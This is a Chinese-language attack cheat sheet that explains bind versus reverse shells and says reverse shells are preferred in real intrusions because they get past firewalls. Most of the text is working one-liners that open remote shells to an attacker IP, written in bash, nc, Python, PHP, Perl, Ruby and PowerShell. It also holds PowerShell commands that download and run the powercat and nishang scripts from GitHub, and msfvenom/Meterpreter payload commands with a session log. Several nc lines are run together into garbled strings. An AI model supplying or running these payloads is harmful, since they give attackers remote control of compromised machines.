正向shell和反向shell
正向shell：控制端主动发起连接去连接被控制端
反向shell：被控制端主动连接控制端
在实战中，大多数采用反向shell，因为正向shell有很多因素导致连接失败，
比如说硬件设备有防火墙，入侵防御系统等，还有网站防火墙，端口占用，权限不足等场景，特别是硬件设备如果你正向连接被防火墙拦截导致打草惊蛇，后期攻击相当繁琐。
反向shell：而被控制端主动向外发送的数据包通常都不会被拦截。
反向shell如下
Linux常见反向shell
bash反弹shell
nc -lvp 4444 bash -i>& /dev/tcp/192.168.11.12/4444 0>&1
nc反弹shell
nc -lvp 4444 nc 192.168.11.12 666 /bin/bash |nc 192.168.11.12 666 nc 192.168.11.12 999 -e /bin/bash Linux
python反弹shell
nc -lvp 9999
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.11.12",9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
PHP反弹shell
nc -lvp 6666
php -r '$sock=fsockopen("192.168.11.12",6666);exec("/bin/sh -i <&3 >&3 2>&3");'
Perl反弹shell
perl -e 'use Socket; $i="192.168.11.12";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
ruby反弹shell
nc -lvp 4444
ruby -rsocket -e'f=TCPSocket.open("192.168.11.12",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
Windows反弹shell如下
powercat反弹shell
powercat（https://github.com/besimorhino/powercat ）为Powershell版的Netcat，
nc -vlp 6666
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 192.168.11.12 -p 6666 -e cmd
nishang反弹shell
Nishang(https://github.com/samratashok/nishang )是一个基于PowerShell的攻击框架，
集合了一些PowerShell攻击脚本和有效载荷，可反弹TCP/ UDP/ HTTP/HTTPS/ ICMP等类型shell。
nc -lvp 6666
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.11.12 -port 6666
自定义powershell函数反弹shell
nc -lvp 6666
powershell -nop -c "$client = New-Object Net.Sockets.TCPClient('192.168.11.12',6666);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
正向shell如下
nc 正向shell
nc -lvp 8080 -e /bin/bash nc 192.168.11.11 8080
msf木马正向shell
msfvenom -p windows/meterpreter/bind_tcp -f exe LPORT=80 -o shell.exe msf6 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf6 exploit(multi/handler) > set payload windows/meterpreter/bind_tcp payload => windows/meterpreter/bind_tcp msf6 exploit(multi/handler) > set lport 80 lport => 80 msf6 exploit(multi/handler) > set rhost 192.168.1.108 rhost => 192.168.1.108 msf6 exploit(multi/handler) > run [*] Started bind TCP handler against 192.168.1.108:80 [*] Sending stage (175174 bytes) to 192.168.1.108 [*] Meterpreter session 1 opened (192.168.11.12:33071 -> 192.168.1.108:80 ) at 2022-02-01 20:28:13 +0800 meterpreter > msf，payload模块 set payload windows/meterpreter/bind_tcp 正向 set payload windows/x64/meterpreter/reverse_tcp 反向
